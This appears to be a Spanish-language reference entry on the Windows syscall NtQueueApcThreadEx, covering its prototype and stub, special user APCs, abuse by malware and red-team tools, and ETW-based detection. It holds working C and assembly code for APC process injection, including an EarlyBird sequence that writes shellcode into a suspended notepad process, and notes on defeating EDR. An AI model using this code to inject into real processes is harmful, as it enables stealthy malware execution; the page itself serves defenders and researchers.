NtQueueApcThreadEx

Prototipo

NTSTATUS NtQueueApcThreadEx(
  HANDLE            ThreadHandle,
  HANDLE            UserApcReserveHandle,
  PKNORMAL_ROUTINE  ApcRoutine,
  PVOID             ApcArgument1,
  PVOID             ApcArgument2,
  PVOID             ApcArgument3
);

Argumentos

IDs de syscalls por versión de Windows

Stub del syscall

4C 8B D1            mov r10, rcx
B8 72 01 00 00      mov eax, 0x172
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Notas no documentadas

Extensión de `NtQueueApcThread` introducida para el patrón de objeto reserva user-APC (evitar asignación de pool en cada encolado) y, desde Windows 10 1809, para **special user APCs** (`QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC = 0x1`). El truco: pasar la constante `0x1` *como* `UserApcReserveHandle` cambia el kernel a una ruta que entrega el APC al hilo objetivo independientemente de su estado alertable — el kernel secuestra el `CONTEXT` user-mode del hilo y lo reanuda dentro de `ApcRoutine` con `ApcArgument1` apuntando a una estructura `CONTEXT` con el estado de registros original. La SSN deriva fuertemente entre builds; resolver dinámicamente.

Uso común por malware

Tres abusos notables. (1) **PoolParty** (SafeBreach 2023) usa special user APCs para inyectar en hilos que *nunca* se vuelven alertables — hilos de fondo modernos en navegadores y agentes EDR — derrotando completamente la defensa clásica « apuntar a un wait alertable ». (2) EarlyBird sigue viable pero se prefiere la forma Ex porque no requiere que el hilo objetivo alcance un wait alertable. (3) Cobalt Strike 4.x y Brute Ratel C4 usan la variante special-APC para ejecución fork&run que ya no necesita `CreateThread` en la víctima. T1055.004.

Oportunidades de detección

Los special user APCs aparecen como eventos ETW Threat Intelligence `EtwTiLogQueueApcThread` con el flag special-user-APC armado — los EDR modernos (CrowdStrike, Defender for Endpoint, SentinelOne) lo parsean. La entrega por CONTEXT secuestrado significa que el RIP del hilo objetivo salta súbitamente a una dirección fuera de módulo con un puntero CONTEXT en la pila — stack-walk y comprobaciones RIP-vs-VAD sobre eventos EtwTi lo capturan. Un `NtQueueApcThreadEx` entre procesos desde un padre no-debugger con el flag special-user-APC es casi siempre malicioso en la práctica.

Ejemplos de syscalls directos

; Direct syscall stub for NtQueueApcThreadEx (SSN 0x172 on Win11 24H2)
NtQueueApcThreadEx PROC
    mov  r10, rcx              ; syscall convention
    mov  eax, 0172h            ; SSN — drifts; resolve dynamically for portability
    syscall
    ret
NtQueueApcThreadEx ENDP

// Inject into a non-alertable target thread via QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC.
#define QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC ((HANDLE)0x1)

// hThread points at a worker thread that will never call SleepEx — classic EDR scrub thread.
// remote_shellcode was already written + RX-protected in the target process.
NTSTATUS st = NtQueueApcThreadEx(
    hThread,
    QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC,    // forces delivery via context hijack
    (PKNORMAL_ROUTINE)remote_shellcode,
    NULL, NULL, NULL);
if (!NT_SUCCESS(st)) return st;
// Kernel hijacks the thread's CONTEXT and resumes it inside remote_shellcode.

// Spawn target suspended; queue Ex-APC; resume.
STARTUPINFOA si = { .cb = sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL,
               FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

SIZE_T size = shellcode_len;
PVOID  remote = NULL;
NtAllocateVirtualMemory(pi.hProcess, &remote, 0, &size,
                        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
NtWriteVirtualMemory(pi.hProcess, remote, shellcode, shellcode_len, NULL);

// Ex form lets us pick reserve object or special-APC; for EarlyBird either works.
NtQueueApcThreadEx(pi.hThread, NULL, (PKNORMAL_ROUTINE)remote, NULL, NULL, NULL);
NtResumeThread(pi.hThread, NULL);

Mapeos MITRE ATT&CK

• T1055.004Asynchronous Procedure Callmitre ↗
• T1055Process Injectionmitre ↗
• T1106Native APImitre ↗